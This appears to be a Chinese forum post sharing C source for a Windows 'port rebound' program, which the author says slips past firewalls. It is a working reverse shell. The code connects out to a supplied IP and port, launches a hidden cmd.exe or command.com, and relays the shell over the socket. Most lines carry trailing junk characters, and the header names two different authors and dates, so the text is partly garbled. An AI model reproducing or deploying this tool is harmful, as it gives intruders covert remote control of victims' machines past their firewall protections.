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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y]j.PT`Cw  
*()['c#CC  
/* ============================== cJ4My#w  
Rebound port in Windows NT OIblBQ!  
By wind,2006/7 {iD/0q  
===============================*/ Vq'7gJj'  
#include 7>yd  
#include 2 2v"?*  
 FOiwA.:0  
#pragma comment(lib,"wsock32.lib") X=sE1RB  
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void OutputShell(); ,->ihxf  
SOCKET sClient; z$1RD)TQB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `d_T3^ayu  
;8]HCC@:  
void main(int argc,char **argv) C[^VM$  
{ uN%Cc12  
WSADATA stWsaData; y3o q{Z>  
int nRet; Cd%5XD^  
SOCKADDR_IN stSaiClient,stSaiServer; ?@"@9na  
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if(argc != 3) )PN8HJAArh  
{ .eJKIck  
printf("Useage:\n\rRebound DestIP DestPort\n"); P y'BMk  
return; $[T ~<I  
} f.g!~wGD  
mI lg=8:  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;j0.#P:a  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #/qcp|m  
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stSaiClient.sin_family = AF_INET; 0AnL]`"t.3  
stSaiClient.sin_port = htons(0); neEqw +#Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1]} \h]*  
*"^X)Y{c+l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "@x( 2(Y&  
{ ?O 25k!7  
printf("Bind Socket Failed!\n"); lO@-*m$  
return; Z_ElLY  
} HS=w9:,  
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stSaiServer.sin_family = AF_INET; }w f8y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +C=vuR  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); icG 9x  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oypLE=H  
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printf("Connect Error!"); Kj0)/Fjl+  
return; C?. ;3 h  
} yK{P%oh)  
OutputShell(); frbd{o  
} n[/D>Pi  
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void OutputShell() 6UIS4 _   
{ 51}C`j|V3{  
char szBuff[1024]; {Lju7'5L  
SECURITY_ATTRIBUTES stSecurityAttributes; D u<P^CE  
OSVERSIONINFO stOsversionInfo; _3 !s{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  o]0E  
STARTUPINFO stStartupInfo; }ll&EB  
char *szShell; _~Lu%   
PROCESS_INFORMATION stProcessInformation; p&}m')  
unsigned long lBytesRead; T #E{d  
Q*1Avy6]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Fmn_fW6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o5],c9R9b  
stSecurityAttributes.lpSecurityDescriptor = 0; d/NjY[`5+  
stSecurityAttributes.bInheritHandle = TRUE; DI{Qs[  
ca &zYXy  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L{sFR^-G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kb-XEJ}L  
i?>>%juK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %5ov!nm7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r 8N<<^  
stStartupInfo.wShowWindow = SW_HIDE; "dG*HKrr  
stStartupInfo.hStdInput = hReadPipe; Mf5kknYuL9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^g'uR@uU  
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GetVersionEx(&stOsversionInfo); af'ncZ@U  
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switch(stOsversionInfo.dwPlatformId) Jcvp<  
{ D$hK  
case 1: be6`Sv"H  
szShell = "command.com"; (>Sy,  
break; 2Z(?pJyDM  
default: p3%cb?G%w  
szShell = "cmd.exe"; n`Ypv{+ {%  
break; Qz"@<qgQy  
} p,4S?c r>a  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j97c@  
9dg+@FS}=  
send(sClient,szMsg,77,0); * se),CP!s  
while(1) +SFo2Wdr43  
{ k%RQf0`T  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m,J9:S<5;  
if(lBytesRead) yWYsN  
{ 6%VRQ#g!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $a')i<m^g  
send(sClient,szBuff,lBytesRead,0); En+`ZcA\z  
} X)Rh&ui  
else (.M &nN'Ce  
{ S?H qrf7<  
lBytesRead=recv(sClient,szBuff,1024,0); g*U[?I"sC  
if(lBytesRead<=0) break; `?"[u" *  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r-}C !aF]  
} e=6C0fr  
} oFJx8XU  
cj3P]2B#  
return; w##$SaTI  
}
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